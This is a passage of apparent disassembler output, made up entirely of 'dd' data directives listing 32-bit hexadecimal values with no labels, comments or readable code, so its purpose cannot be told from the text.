		dd 2FBFD32Bh, 0C91519DBh, 80584E51h, 5E2E6157h,	5138C063h
		dd 7B4528BFh, 0A90414ACh, 5DFA68E5h, 0CED97101h, 0E414F212h
		dd 822710F7h, 1291006Ch, 93E26D76h, 46F22CFCh, 31780F1Dh
		dd 0FD2EA240h, 0DF0F1BBAh, 43126F18h, 0F1115442h, 184C1682h
		dd 1AAD08F8h, 3802BC76h, 0E3D22747h, 0A04EAF72h, 46F3042Dh
		dd 0F2B11FB0h, 872029E6h, 4D11DA2h, 0F85807B9h,	252D2E0h
		dd 6088097h, 261F5FB0h,	58ABF051h, 0C32D9F02h, 0C1212FAEh
		dd 5912D4F1h, 589CCC14h, 33BBAC20h, 1DA1BE98h, 5180847h
		dd 0BF6A76FDh, 0B880821Ch, 758D803Dh, 6EAC010Fh, 0FF4F3BD5h
		dd 871C58E3h, 8250D31Eh, 0DCD807A0h, 91156EE7h,	4AB2D253h
		dd 0F78F06A0h, 3D314C81h, 8D95E1F8h, 458E2C35h,	0E04036E2h
		dd 10D24A0Eh, 0E7809760h, 3849C055h, 63FC6656h,	6EBBEE0Ah
		dd 0CC50BC75h, 0D272FEBCh, 7EF80331h, 2BF9958Dh, 0D0826F3h
		dd 79979951h, 0A58BF6E4h, 0EB0B0350h, 511437A4h, 47941298h
		dd 82BE0228h, 82CE751Eh, 4349B8C4h, 0CD3FC032h,	0D1030912h
		dd 70866EA5h, 0E30308C5h, 9261A07Bh, 0B001A27Dh, 247ECD3Ch
		dd 8320E6BDh, 12B0E0D8h, 0D1B2ABF1h, 0E1419E43h, 0C1A29CC0h
		dd 520A821Fh, 888BC481h, 90703204h, 0A960F810h,	14ACF173h
		dd 0C4EB5C0Ch, 1E18C169h, 8EA743EFh, 664526F3h,	0DD183015h
		dd 0D720BEE7h, 443800CCh, 69CB91FBh, 172B19C2h,	5281908Fh
		dd 0CD8EE6E1h, 0F7355800h, 77EB9114h, 0EABB018h, 61FD6FF4h
		dd 0D9E5120h, 4415CA83h, 8160CBA7h, 236AD14h, 0C2983189h
		dd 2832B805h, 0BF05CEACh, 982C70AAh, 4D29D401h,	7B208BA7h
		dd 480B7191h, 2C5284C4h, 87678881h, 0D839807Bh,	0BAA48A6h
		dd 0AD0A076Fh, 4F27EAEBh, 6064210Ah, 6A528CFFh,	0F83881F7h
		dd 0B2D543D3h, 1241F7E7h, 0A88F6F42h, 4CDD8D54h, 0E7182147h
		dd 61A4D10Ah, 0CB049463h, 0B8849B50h, 0AA0F6860h, 6106606Ah
		dd 0B86F1A18h, 0F3D6EB14h, 25EC13B0h, 0DE7A3400h, 782AB2CFh
		dd 695E82Dh, 66F2D4F8h,	3A24701Fh, 7109E42Bh, 2C1003E7h
		dd 3B20A0BEh, 41A5006Dh, 21070417h, 0E0E91537h,	678CAA2h
		dd 0DD29FB66h, 13C10FB0h, 5A00F233h, 6EA26CCAh,	9586D800h
		dd 43FF42A3h, 0FA90AE24h, 0DDC82ABCh, 693814ACh, 9B189044h
		dd 3062083Fh, 0CAA3FF00h, 5772D4F6h, 0D2743Ah, 0A1A55D91h
		dd 0E0F1E414h, 13BC6409h, 0C0C1484h, 7441B32Ah,	2F615861h
		dd 60F33258h, 805A9030h, 4F17C1A6h, 9E0F8414h, 0DD9AA5CFh
		dd 0FA099803h, 0D904A1D4h, 0D6F28C40h, 17F51386h, 0FF0412BCh
		dd 0FC23C20Ah, 10A76550h, 7929BA79h, 0CC689126h, 66D590Bh
		dd 0E78D304h, 0F1B64966h, 0D06FC206h, 181DF085h, 49AEA38Dh
		dd 0D534B0CBh, 40102852h, 598506DCh, 11470BB8h,	2048B531h
		dd 92E04B30h, 18396262h, 0A082FB77h, 80831A31h,	6800F05Eh
		dd 0B2D38F3Ch, 30CAC0B5h, 26C881D2h, 32F880E3h,	0B7D0F803h
		dd 0C05ADA6Bh, 0C65FF972h, 10860730h, 0B7D79600h, 0D524A04Bh
		dd 31A51EF2h, 41920CBBh, 71CDCCE8h, 40EC0866h, 20D07F17h
		dd 0DA3E08DDh, 0BFD20F4Ch, 950C9D09h, 48E2480Ah, 0D83150F3h
		dd 90282009h, 0B2018228h, 92CFF789h, 3110BAE2h,	411D61CAh
		dd 46E5408Ch, 0BB09E408h, 8038030Dh, 14C0A39Ch,	0B1E31E0Eh
		dd 2EC303D0h, 95A7FF23h, 62C8165h, 7DE84194h, 1D088F97h
		dd 0B7C3856Dh, 3F833C80h, 3CD0F991h, 3A18904Ah,	0A407506Bh
		dd 41024BE5h, 0D56A7BBBh, 3801CFEBh, 4269D59Ah,	688C1CC6h
		dd 38582B3Ch, 70882048h, 631B1F7Ch, 0EB403B51h,	57B01CA3h
		dd 99167E13h, 0C574079Dh, 0B143C1AEh, 0A550309Ah, 264CF748h
		dd 3206186Ch, 32D2055Dh, 0CC080106h, 183130F8h,	0EB8A30A0h
		dd 20FE489Bh, 213BD3E1h, 0E002C10Ch, 0FD48A352h, 5321410h
		dd 2458189Ch, 7CB00128h, 0EFF33ACFh, 0EBDB120Ch, 0E07C8610h
		dd 0F4805C98h, 915077F2h, 9678EEF8h, 8DF29F8h, 0D1F4ED43h
		dd 3D99FB2h, 7A074CA8h,	0E8487F78h, 0A56904A0h,	807A2261h
		dd 6CBAE7CAh, 18BE020Fh, 339B656Dh, 6262D4C2h, 8BECC528h
		dd 0B823EF5h, 0E861257Dh, 0B29470B9h, 0F28C9950h, 8AEF5A39h
		dd 88AD6106h, 0CABFC200h, 0E8BCC392h, 0A7073152h, 894EDD18h
		dd 48E4790h, 7891E77Ch,	0B0433DF8h, 0F2200C17h,	0DC60F5C5h
		dd 0B12B7F6h, 48090DD6h, 80BC0FADh, 430E13C2h, 1BC7D52h
		dd 12DA17C3h, 20B1F263h, 11006040h, 6878830Eh, 92A503FCh
		dd 0E35C4038h, 82A0631h, 382167A6h, 142093C9h, 20DD1Bh
		dd 441D5A8Ch, 143F49ACh, 202D2464h, 2403507h, 9806B3CEh
		dd 0E840E103h, 48907Bh,	0FEF522E2h, 2399883h, 7C1D642Dh
		dd 0EB9914F7h, 26F7A30Ah, 42A1298h, 80AD722Ch, 55FF5214h
		dd 5A3AD174h, 2067C51h,	50B9221h, 5091EA20h, 98589027h
		dd 9ED237D0h, 126A8240h, 33802040h, 0C6E2D9E9h,	0DAF6B482h
		dd 6A3C0440h, 0C721A502h, 656413E1h, 0E35601DCh, 417EC0FEh
		dd 300FD8ECh, 9300B270h, 0A78312BDh, 914B91F6h,	0EECF4008h
		dd 7F4085C7h, 5D720EF8h, 3A06BB8h, 0CF98107h, 366464B0h
		dd 0DCCA2478h, 585CD406h, 182679B7h, 3423B0A4h,	2D154980h
		dd 0B0274163h, 0CCA44C5Ch, 37CDD209h, 62B34483h, 808D44BFh
		dd 2DE727Ch, 0EC0394A0h
		dd 6F9148C4h, 0CA8EA4C1h, 7572BC30h, 901212C3h,	2DA00BD7h
		dd 27520883h, 6633287Fh, 78683081h, 0D6FB2608h,	0EB50ABCh
		dd 82860CB4h, 47509AA8h, 4562C6E4h, 0E09DB108h,	98B9EA9Ch
		dd 5095482Ch, 0CE7DA301h, 4026E312h, 6243C3A8h,	90245898h
		dd 0AB13283Ch, 9E237803h, 0BE42C741h, 0A4606148h, 41835820h
		dd 204DD120h, 5C3A8444h, 0CA417F4Eh, 6830A8D1h,	40184804h
		dd 23FC213h, 2A7243B0h,	9E2EC907h, 7C49B413h, 34800D0h
		dd 308CD391h, 0C3A837D5h, 83EA0AF4h, 0DC2CF04h,	64C11AA3h
		dd 0D470A915h, 0C50C2655h, 8EDA006Ch, 0AE79F58Dh, 884B9401h
		dd 0F8B9203h, 0CAF09C71h, 35833CC1h, 0D7109A33h, 75583078h
		dd 0BDB2098Ch, 365C0EF4h, 5B124C04h, 533CA8D0h,	29F22ED1h
		dd 72520904h, 0C06EF80Eh, 0D39206DFh, 0D65C2821h, 483178B0h
		dd 0DFB2200Fh, 0DE4F9030h, 0F9C20C08h, 925C2540h, 0CC2A38B4h
		dd 39ED1828h, 0C0DD6910h, 7054C30h, 0BF5C96C1h,	0CEA613ACh
		dd 0E058EA07h, 39DD0E8Eh, 0BC701D08h, 0E5FE2480h, 470800A0h
		dd 0B7FA8BAAh, 0A806A098h, 0C26B91FFh, 26D52CE8h, 0A7488A00h
		dd 556900A0h, 4B21A084h, 0ED10A00h, 2AF10372h, 6374F3h
		dd 9F92DCA7h, 408B754Fh, 0DA86EDA0h, 15EF5B2Ch,	67CBC900h
		dd 14E5A6E9h, 10A3EB72h, 0DD1A58C0h, 0B80ABA5h,	644200AAh
		dd 65242F91h, 9A156311h, 8F2C8083h, 0FF0683ECh,	2B22AF72h
		dd 31474099h, 65B9003Dh, 83AE3E51h, 0A23BC9A0h,	20D6ECh
		dd 0F2B668BDh, 1872F363h, 38100B4Bh, 320020A4h,	0A390221h
		dd 0D407F1h, 0A18F3723h, 0E711E083h, 0F30024A4h, 3EDE4CE4h
		dd 0D57D1Ah, 0EB8B3AC3h, 20B1C13Bh, 0A043Ch, 690EFD0Bh
		dd 1E164464h, 0DE746FF0h, 384E98CEh, 397982B5h,	147188CAh
		dd 17DF1040h, 954C40DEh, 0B1EA0E0Fh, 96EBEE60h,	38DE18EBh
		dd 68C02A70h, 0D95DCFD8h, 0ED9E1F7Fh, 3E9D5DABh, 69F1D9Eh
		dd 188C152Bh, 10938131h, 9101B1EEh, 0BF6BF0ACh,	0F9541C00h
		dd 2B884E39h, 308674CFh, 4B60E8ABh, 0CBF8E115h,	8ACDE71Eh
		dd 9ECE7E0Eh, 6AB81800h, 0E8B49E1Ah, 50253C5Ah,	0BA9F7A39h
		dd 0B3318C03h, 70A60D08h, 9608A208h, 3758E39h, 2E0BEDE0h
		dd 0E8F854D1h, 0CB8B7A07h, 0A04E092Fh, 4B885624h, 56707C84h
		dd 1578286Bh, 0ACCB4D19h, 0F05524h, 4AD1B95Dh, 18ACDA6Ah
		dd 0A8F44B04h, 350240B4h, 5494FD65h, 60E2AF04h,	15004DFBh
		dd 8BE4A8D7h, 58B65931h, 0F085435Bh, 706553C7h,	0E5E25734h
		dd 1ED2A900h, 42C1F57Dh, 0E5BA7F6Ah, 4EFE9842h,	0FDE50C10h
		dd 0D531869Dh, 4BDC2750h, 65A09E0Ah, 0C0C030BAh, 241FCCADh
		dd 281D9Bh, 0EBEDF842h,	890CE59h, 1C06188Ch, 0C1A21904h
		dd 0B0952460h, 0F36B0504h, 76C00083h, 423A6A46h, 0E1E04B60h
		dd 278024Ch, 0D803ACFAh, 9661661Bh, 1E2C4C0Eh, 2D493F08h
		dd 907501D0h, 0E65803DCh, 4DB9E881h, 0F62C2080h, 1C22F09h
		dd 0CB9001B7h, 8805D10h, 0EB880EEFh, 6E80BCCDh,	4C20F16Bh
		dd 3AAC9012h, 2B0C778Dh, 98206019h, 46107063h, 0B5281252h
		dd 9A580C5Bh, 38240B38h, 8A0C586Ch, 66052059h, 387E1846h
		dd 28C452F8h, 1681872Bh, 40BCE94Bh, 66C7C24h, 30DC6FABh
		dd 7890F079h, 8CCDD33h,	0EB1018B7h, 31CB08FCh, 0DE9D0340h
		dd 195F0C30h, 12633210h, 0E0FEF348h, 0F81A5C8Bh, 0CD3C206Bh
		dd 738536Fh, 0BC1C4A8h,	809B9832h, 43E308A4h, 24EBF00Dh
		dd 1BCB4811h, 8874BE8h,	216151E1h, 0C009FFCCh, 42FAC2Bh
		dd 0D880A08Ch, 0C67812ABh, 300F9E40h, 0A0470A33h, 0B781828h
		dd 80AB1019h, 0A1285862h, 4A8887Fh, 4806B13Dh, 30317D9Fh
		dd 0D89BC8C5h, 1A49B02Ch, 14252400h, 0D403FA00h, 746D9BBCh
		dd 443B30C0h, 0C719DB08h, 8176BBF8h, 3F320C9h, 0AE09BA9Ch
		dd 0D020EF38h, 2092601Ah, 656816BBh, 69AD7A12h,	4AF3A800h
		dd 0C2147803h, 98723808h, 2CC09E04h, 98856AD8h,	0DDF13518h
		dd 0B8782870h, 7B325211h, 58AE550Ah, 40602998h,	0A07C3524h
		dd 0E48429DDh, 0E0CB8854h, 0F6EB047Ch, 0C1136270h, 4A654108h
		dd 100F1714h, 0C132904h, 957FC83h, 2D4F8B28h, 0C0188008h
		dd 0E0338C39h, 6AD559C4h, 0ADEBCCC1h, 0A8E834h,	0E281C524h
		dd 725849A5h, 0D608A267h, 62195DC0h, 2459E801h,	95028B7h
		dd 9C816611h, 3263D9B9h, 0C87AC14Ch, 0A189A91Fh, 9002C2B5h
		dd 0B46075CBh, 0B0DED2ABh, 0D420A226h, 1304E04Ch, 4803D758h
		dd 0A199B06Bh, 811C0ECBh, 902C8578h, 568A5C3Fh,	23099004h
		dd 30C82F09h, 5BD6813h,	0CC57510h, 981085FCh, 8BF080F3h
		dd 6BE4F7B5h, 64244CD9h, 0ADB1CAE3h, 75C18DD7h,	0A4326879h
		dd 63B0BBC1h, 310C6202h, 0BCEB80F7h, 300B5C70h,	83F06090h
		dd 0FA136551h, 0E4546A31h, 0B39A1254h, 47A5000h, 99595A30h
		dd 0FCE240D8h, 10B2B051h, 7FCB3519h, 34319F58h,	90F219D4h
		dd 9D0E2C78h, 6EFC0030h, 744B9802h, 0A021CA29h,	0FE7C240h
		dd 1630914Fh, 4B840250h, 0DC402D0Eh, 22951DAh, 0BC4088F8h
		dd 40B71EA2h, 0B94DF50Fh, 0BBF12B0h, 89D70Bh, 8AAFAD0h
		dd 208156CAh, 99394A04h, 10D54AC4h, 1EE0BEC0h, 5C4B5D3Bh
		dd 60619819h, 9BF4206Bh, 850C18ACh, 518BD0D9h, 58A84D95h
		dd 0A642D12h, 0E0A4FFF0h, 496B749Bh, 73753F40h,	4810B298h
		dd 0F5241C08h, 0A7BB10F0h, 7C3D8A81h, 2855C474h, 7EBC73E6h
		dd 53657A68h, 4D04180Ch, 43331FD1h, 26063035h, 263C1398h
		dd 0DC2F59C8h, 14BAF5F1h, 3BDE150Fh, 0B5836788h, 0D097CF40h
		dd 8A9E0065h, 175D54F5h, 4FE069CBh, 0BF0AC00h, 0EAF4E807h
		dd 0DC730105h, 883D0291h, 6614588Fh, 923AD008h,	6CB10C04h
		dd 42442F60h, 42D7744Ch, 4AF7805Eh, 8203C0E6h, 389677C3h
		dd 6141653h, 0A48E5EAEh, 7F11489h, 0A4A314D7h, 80363C89h
		dd 0CFB71151h, 8E19AF8Bh, 30029D08h, 9C318568h,	82F70390h
		dd 0C6A78A95h, 4D0210C5h, 86F88EFh, 0C82090B4h,	1441011h
		dd 0A511C67h, 8DCF8BC5h, 1829AC5Eh, 0E91604B8h,	710E0253h
		dd 708A7485h, 9C2ED60h,	9E178214h, 0D6701B8h, 0F9047E6Ah
		dd 0AC18FED0h, 0C01D0C64h, 0B13019EFh, 0CF7310ACh, 1671B010h
		dd 0C83D101h, 0CA6EDE6Ah, 0AAE9C887h, 203B0FD0h, 12D0C9Dh
		dd 0DCA3B420h, 0BC86FFA0h, 0C84C7F0Fh, 93DD20CAh, 367A5C5h
		dd 9225C3E6h, 28E5C297h, 0A5181490h, 0F1C98019h, 60256610h
		dd 0BE01D0B9h, 9FBC6150h, 5FD07A4Ah, 87D60CEh, 6FED294Bh
		dd 0CABE0C06h, 1870E285h, 18209705h, 6529D4B9h,	2640B01Eh
		dd 28141D02h, 60FC9708h, 0FBBF50D4h, 9CA565D5h,	313A919Fh
		dd 4C31A11Dh, 0C4DE288Dh, 5544A89h, 3BFDA943h, 0AB51A442h
		dd 2C9C881Dh, 0F5AD7DC0h, 7189C217h, 0B4821C10h, 0E488FE2Ah
		dd 9580C92Ch, 0DC6C8785h, 0AAF2900h, 952CA056h,	1E9C00E1h
		dd 1915D9C8h, 0D430ABEBh, 71CF2920h, 8CA03949h,	44030423h
		dd 0CC464A6Bh, 573AEF00h, 0B856CA0h, 4F063374h,	0F31286Ah
		dd 8E4C7817h, 9A3A8C1Ch, 2F516734h, 53EC281Ch, 1302289Fh
		dd 248183EBh, 50E74F00h, 14CC5697h, 8109C106h, 6F0A516Ah
		dd 78972089h, 6B01CCE1h, 9D8F3C40h, 6497572Bh, 613C1A01h
		dd 41AED174h, 4A11E2A0h, 255A0E3Ch, 0ACB00584h,	51E0A000h
		dd 8F3D18h, 0B59D37DFh,	0BB6D0C96h, 4D3B7A74h, 9E9C8D73h
		dd 0B1F60644h, 0F1FFDE28h
		dd 7882FF90h, 973E66EFh, 813CA096h, 0B1B21898h,	15750F78h
		dd 782ABF23h, 0EDB66881h, 2F2988FDh, 788A156Ah,	8C467D81h
		dd 4F29823Ch, 0B89738E9h, 30CAD750h, 6FF1F3D2h,	2C910C94h
		dd 26B311C0h, 283B6054h, 9B6438Fh, 0A899AD1Dh, 5D724D05h
		dd 7CD9401h, 485993F7h,	147D0ECCh, 0C0E8B6B0h, 9C266C01h
		dd 0DF5D76DEh, 389893F2h, 1814A9D0h, 59CDDEDh, 219748CFh
		dd 0A278FDC3h, 3E30B09Dh, 4040E4B6h, 5A38EFB8h,	8F7314CCh
		dd 90F4C12Ch, 898077EEh, 0F7EA240Fh, 28A69EB3h,	75F27904h
		dd 2F0FB932h, 0D3F7F9A1h, 182A1C95h, 796EC3DAh,	0EB153F4Fh
		dd 812853F7h, 0D41BD113h, 0C36F2980h, 9FF3F7F1h, 0D1F908Eh
		dd 0DA5273B3h, 2030EF39h, 0F871091Ah, 0B5E0F7F7h, 7E250066h
		dd 0BB087CE2h, 0CB00C4FCh, 4F40C90Ah, 7CEC92F7h, 1C1416C1h
		dd 40641B7Eh, 769FD8F8h, 0CC010CF4h, 83AE6297h,	88805E9Eh
		dd 17465070h, 0D0A022BFh, 491E8F1Eh, 3480C805h,	4DB2B682h
		dd 8EA4Eh, 9624715Fh, 0DDEFDC51h, 1213BE1Eh, 6C9E8B80h
		dd 0BCAE17h, 24152586h,	80BAE73Ch, 0B137AA00h, 8DFF1CC4h
		dd 5D8800F8h, 0F58C7285h, 0A77AFBC8h, 0BB7F0A00h, 742E8E06h
		dd 891C0062h, 47F4E4FAh, 5600A778h, 0F52C7F60h,	3CD06AEh
		dd 3E462A2Dh, 1400B4E5h, 71BB7E3Bh, 0E79E405h, 0AA371C75h
		dd 0EEB9C060h, 0E70FAFE0h, 0A1F8BBEBh, 0C9FB2A55h, 78D70D8h
		dd 0BCE31AF2h, 8FD2C087h, 0B103A195h, 2C730FE5h, 11E8B8F1h
		dd 0DAB60018h, 90988906h, 0AB00DB4Dh, 0F1B0E69Eh, 1C3D5DB5h
		dd 0C06C49BEh, 0DF56501Bh, 0B1128285h, 2C0123F7h, 8E977B89h
		dd 3FEC2C4h, 62A85466h,	4BD0C101h, 0B500A125h, 0CA8749F1h
		dd 5843EFh, 17F8A883h, 153A8DEDh, 0C1613Bh, 937DB8F7h
		dd 891346h, 73DBD4AEh, 0F03CAD2Eh, 3851EA00h, 0ED09311Ch
		dd 0F9EF00E3h, 7DCFF84Dh, 0AD901BBAh, 7BD7A800h, 208D1339h
		dd 0AD7379h, 0F7978915h, 0F46C0EACh, 0FDEC800h,	42D57D40h
		dd 0E138007Fh, 87A49AEAh, 6001E1Ah, 0FE6B5C61h,	45BFCDh
		dd 366D1F8Bh, 778ACEEDh, 2B9CD300h, 0C60C820Bh,	18FF12BEh
		dd 0A28100D6h, 0E8522722h, 0D3582128h, 3EB03800h, 84ED3BD7h
		dd 17690018h, 2D15AEFDh, 0DEA0CE74h, 0DB00B6A3h, 60E65E79h
		dd 0C3647C0h, 0F3CFE51Ah, 0D507C2BAh, 0DF8E2243h, 0CA5E9220h
		dd 18E00088h, 60CC2DF2h, 54074A72h, 354F256Eh, 382EA1F0h
		dd 8F428E5h, 7D2818FEh,	5D584A0Ah, 8F019D07h, 20305534h
		dd 93F451h, 264408DDh, 0C2AE7FE0h, 9B2F4700h, 7EC111A5h
		dd 5D360480h, 83C0E3F3h, 7680DA0Ch, 8C023833h, 4162A60Ah
		dd 180DE011h, 0C5E07Eh,	0D22334BCh, 1B57ED10h, 143873Dh
		dd 6AABCEA8h, 93E078F3h, 0DB1030A9h, 6DE8B526h,	6531730h
		dd 0E99D1h, 8E8CA67Ch, 0F4E1A868h, 49FF0C00h, 3ADBD972h
		dd 0C98800EAh, 0B11A118Bh, 1008E9Ah, 17D26203h,	9165F8h
		dd 2D67C01Bh, 26AF7949h, 407DE907h, 0CCD71755h,	554A6D0h
		dd 1D36EE9Eh, 175FDB2Fh, 0C1570724h, 0C0917072h, 0E200FD35h
		dd 0B58D0BE3h, 20C4B6h,	0F15278F5h, 0B84A68FAh,	4CDF44Ch
		dd 0EDA79618h, 81DC580h, 581F0006h, 15179C3h, 5C003091h
		dd 757752A1h, 0B49F6Fh,	0A9A098FAh, 18E8B0EFh, 0ED00F778h
		dd 0A44EE1A3h, 3DCA25h,	60FEAB57h, 8A7815C1h, 0F610B407h
		dd 4561BB26h, 9640CFA8h, 42EDB2h, 9BDEFA8Fh, 0CA16D98Dh
		dd 0DD729100h, 696F0FF8h, 1D6D007Dh, 0D47334A6h, 0F13E119Bh
		dd 0AE058033h, 0C5CBDAFBh, 1E0A007Ah, 0A7A4B9DBh, 0F400B5C9h
		dd 8EB312Dh, 5C51B405h,	0D403B212h, 73272E3Bh, 0EFF1BA00h
		dd 6E6C6578h, 286776C8h, 0E88CAEE3h, 0E09558h, 4C7EA61Ch
		dd 0E8E0F50Fh, 0E56BA0F7h, 0EB7B1DCh, 124F47EEh, 3146AFC0h
		dd 0ED04FE49h, 56D3E850h, 0C0409280h, 8C5C00B5h, 62343001h
		dd 0D1009529h, 72F2A42Fh, 58060Ch, 0F75F4044h, 0EB92CCBFh
		dd 1227280Eh, 0F33D60FBh, 994163Eh, 182F79C1h, 6F397B81h
		dd 0FB27C078h, 3CDA1E04h, 0FAC07BC0h, 7F3E3AC1h, 950103F8h
		dd 54BBF30Ah, 182E941Eh, 9BDC3BC0h, 70247ABh, 7157AF48h
		dd 628B10Fh, 368230C3h,	4450CA00h, 6709603Eh, 76980712h
		dd 0B5F5DC20h, 78280B4h, 8A000AA5h, 345F5A79h, 1B36D36h
		dd 0E05090E3h, 60DEDA7Ah, 4C00FB24h, 4295D0D9h,	3A2817h
		dd 127E04E2h, 0D4B96CA9h, 0FD4FEC00h, 2A780E33h, 788F4EFh
		dd 76349104h, 4D9A7087h, 1A031070h, 0D3A1B08h, 0E4480028h
		dd 47A13331h, 0C70045D7h, 0DAF10F95h, 7C21A018h, 3DDB7303h
		dd 4C8B548Eh, 8A009CBEh, 714670C2h, 0C02ACB00h,	1EEC01A1h
		dd 0F62401B9h, 20B04CF4h, 33C8EFBEh, 6300F1C1h,	0DA830DB2h
		dd 816CDh, 3E9E643Fh, 574DBF7Fh, 0F7197A05h, 0F080C73Ch
		dd 0DF0670h, 41B01342h,	0FEF059FCh, 27BCB800h, 0E70EEC6Dh
		dd 0BAD10E12h, 25408E4Ch, 0EEA41614h, 0F9A39E1Eh, 93D7AD03h
		dd 27B3C00Bh, 94DC00FAh, 0EB9C70DAh, 4A0022D0h,	0B4770A2Fh
		dd 30A1F486h, 1728BF69h, 0B58C93Ah, 0CA30023h, 0BE879D47h
		dd 0EF761DF2h, 0B301BFF4h, 3B839A3Eh, 0CF5E20B1h, 2378AC00h
		dd 0D5CBDFF9h, 0D3E8A2h, 77D91528h, 76888A54h, 675F8B01h
		dd 0B366CBBCh, 3D9AD0h,	1AD80C18h, 0C9495B9Dh, 0C2ECB400h
		dd 2AFB9172h, 0C7EF0007h, 210A3CD6h, 0C005BD75h, 0BBB609E8h
		dd 0C25BB480h, 1BFC00B4h, 464ED39Bh, 0D0EE4A8Ah, 3915DE07h
		dd 8080F77Fh, 0F8D897h,	1966EE36h, 40CB8343h, 0A07FDE71h
		dd 42632100h, 0AE1AA3D4h, 257A0079h, 0E2FBFA47h, 0ED0022FFh
		dd 205ADEC6h, 0BD93D4h,	7DB5C7F0h, 0A97850DCh, 90E2341Dh
		dd 99008ADEh, 0AA524A87h, 0D8F0A2h, 88265725h, 0F57C93D5h
		dd 0B6F76A00h, 6408977Dh, 0CAF40F35h, 2AC0F148h, 6EC17ADCh
		dd 0F739C500h, 541F4CC9h, 2F851EB2h, 418D800Ch,	0A3D81934h
		dd 0F300D6E4h, 9AB293F8h, 66F7B4h, 35AFAE20h, 6AA0D091h
		dd 0A4681E00h, 5E4B823Ch, 0A8AA00E9h, 0BE273A3Bh, 91168E23h
		dd 0FC0125D5h, 6AF7DB4h, 400F219Dh, 0D284F30h, 760E8443h
		dd 5CAC81h, 837AA8EDh, 70C0000Ch, 8FA4272h, 7B05C918h
		dd 78A01BC3h, 16F0D080h, 0EE0C053Dh, 8369DEC2h,	52CB3684h
		dd 7FC874C3h, 0AC4956F8h, 877E00C0h, 0D86510D7h, 0A461279h
		dd 54CE0026h, 0E20C2B11h, 740E6975h, 0E707B73Dh, 14B0166Ah
		dd 27178Bh, 6F3C2057h, 9FAD221Fh, 0E74B811Ch, 803C129Eh
		dd 28C65331h, 0CDD62Dh,	0BD773DF4h, 850CC983h, 2618B000h
		dd 16EEE75Fh, 16E6B030h, 1FC88775h, 0F47C85AEh,	2AAFC08Bh
		dd 800B1FCh, 586FF99Dh,	5884C1DCh, 38003B5Bh, 60F33AC7h
		dd 4102C28Ah, 80058FC4h, 6597E09Bh, 0D930007h, 0D499B991h
		dd 0C2009525h, 0D271F86Ah, 0E41A455Eh, 17DF032Fh, 0FAE93E37h
		dd 0B4D9A0A7h, 0F007093Ah, 0C1F8506Ch, 0CB16BBE0h, 5CEEF8AFh
		dd 1B12C7CFh, 69370018h, 8E3815E4h, 0AC442F0Ch,	62398071h
		dd 182D10DEh, 1A9C3620h, 6170FCh, 33734B6Ch, 0D493E384h
		dd 37F220h, 3CCB8892h, 0B172A689h, 9DB92A00h, 1B1FA779h
		dd 43EC0C77h, 0A0E083EAh, 3BAEF100h, 603FB54Bh,	0F731CA5Ah
		dd 0F32C054h, 773FE2B5h, 9C05009Bh, 2FDD9020h, 3C390A1Ah
		dd 100E7Ch, 83BCA117h, 9700884Ah, 68732FD3h, 0F61E394Bh
		dd 0BAA2009Dh, 426C2C79h
		dd 70F7F17Fh, 93008EABh, 79869CEh, 67D4ADB6h, 70FA51FDh
		dd 3B041E88h, 1640B1Dh,	79B8D040h, 66B029h, 0C4C22B65h
		dd 14A8486Bh, 0D86C4400h, 15644220h, 57060088h,	79F43299h
		dd 0F6E624FDh, 36199800h, 0E88D673Fh, 0ADAA1FEBh, 0B0CF00CAh
		dd 5DBA2BCDh, 4F04FD7Eh, 0C5A34121h, 6D0A280h, 2C31007Bh
		dd 64873E3Fh, 190361FFh, 81028B28h, 4C42A8DEh, 84AC2C92h
		dd 0DF970008h, 0D6ECC72h, 0A5514100h, 622E83B7h, 0A9E7766Bh
		dd 0BCE1D1C4h, 816EE0h,	0B8DF7CDh, 0B9CB4E93h, 68AC2803h
		dd 0DC5B0DDAh, 63F0448Ah, 0CE0705A9h, 35386B22h, 0C84E0ED3h
		dd 0A086D53Fh, 2678DF8h, 85C0412Ch, 0C83E6C2h, 6180BBEAh
		dd 0CC00102Ah, 0A680C1C7h, 2F12016h, 0C5D6EDE1h, 0A04806F2h
		dd 7FFE745Dh, 0B6567500h, 343ACFAEh, 0D4D007Eh,	531A1502h
		dd 4C9093AAh, 1D1230C2h, 181BDC5Ch, 3F177061h, 0ED9EB509h
		dd 0A8442199h, 56206992h, 75A40021h, 3B1F3F59h,	4C00ACA2h
		dd 0EA38C60Bh, 625DD1BCh, 8E2E581Ch, 36BAEE0h, 20CA170Fh
		dd 37FBE09Dh, 93FD86h, 403BE576h, 0A298BBE7h, 0D7F49492h
		dd 9914241Eh, 0AB106E00h, 6EF75C04h, 66018887h,	60AA552Eh
		dd 4E0CFEA5h, 0FC14F276h, 0D2A91FE0h, 6B2C0FF9h, 5E773098h
		dd 1F488D7Bh, 2D75009Dh, 2849D6B3h, 5B18001Ah, 9EF5EBA8h
		dd 0D51C722Eh, 0D8C0A4D3h, 39E9702Dh, 0C2FC89h,	4F881CB6h
		dd 41842A7Fh, 3C012170h, 77E1A9B8h, 982411D3h, 0E7710039h
		dd 9F224F28h, 8E006465h, 4B84D68Dh, 0E66699Dh, 171D0CF6h
		dd 8F768387h, 0A87C0566h, 0A9F9C200h, 0C1109F12h, 0FFC00095h
		dd 6AC87B44h, 0C300E877h, 4FBFB40Ah, 983BF9h, 30729EF2h
		dd 7DBCE790h, 21DFED00h, 0DA6F0AA6h, 0FF88A00Fh, 37F50083h
		dd 59C975FCh, 8C012443h, 2594A2E5h, 0E6F0E480h,	0FA2A0029h
		dd 3FF971DBh, 0EB0330E7h, 8A59C8B7h, 0DE393B70h, 371BDA03h
		dd 0FA88CA68h, 0D038B94Ch, 0E48F8358h, 88C7A371h, 326F655Eh
		dd 21407E68h, 8400942h,	10001A5Ah, 2BF21151h, 0E626E93h
		dd 4049437Bh, 0AB8B03DDh, 1D0B58Fh, 31F71A7h, 47C1B23Bh
		dd 0C75A1758h, 4689D44h, 0A7412FBh, 0C8E30041h,	6D562DD6h
		dd 0E793DE07h, 5FE179DFh, 318E3618h, 383855BAh,	0FCE753ADh
		dd 0E0004019h, 666005EEh, 4FB53Ah, 772233ACh, 7EBD013h
		dd 0B280F407h, 0FEF1B682h, 832076C9h, 5EEF1FF6h, 0D33D0CD6h
		dd 37FA4761h, 3FCACC00h, 0AC648A74h, 9FE70076h,	356AF962h
		dd 0F4183B33h, 2C1EEE2h, 2CE8E6h, 0E179493Dh, 0A0313B9Fh
		dd 2E706207h, 5B16E971h, 8890F0h, 47F27290h, 0AFED5A5Eh
		dd 0A52408C6h, 0BFAD0B20h, 8280F196h, 9AF376F8h, 6E3ADD79h
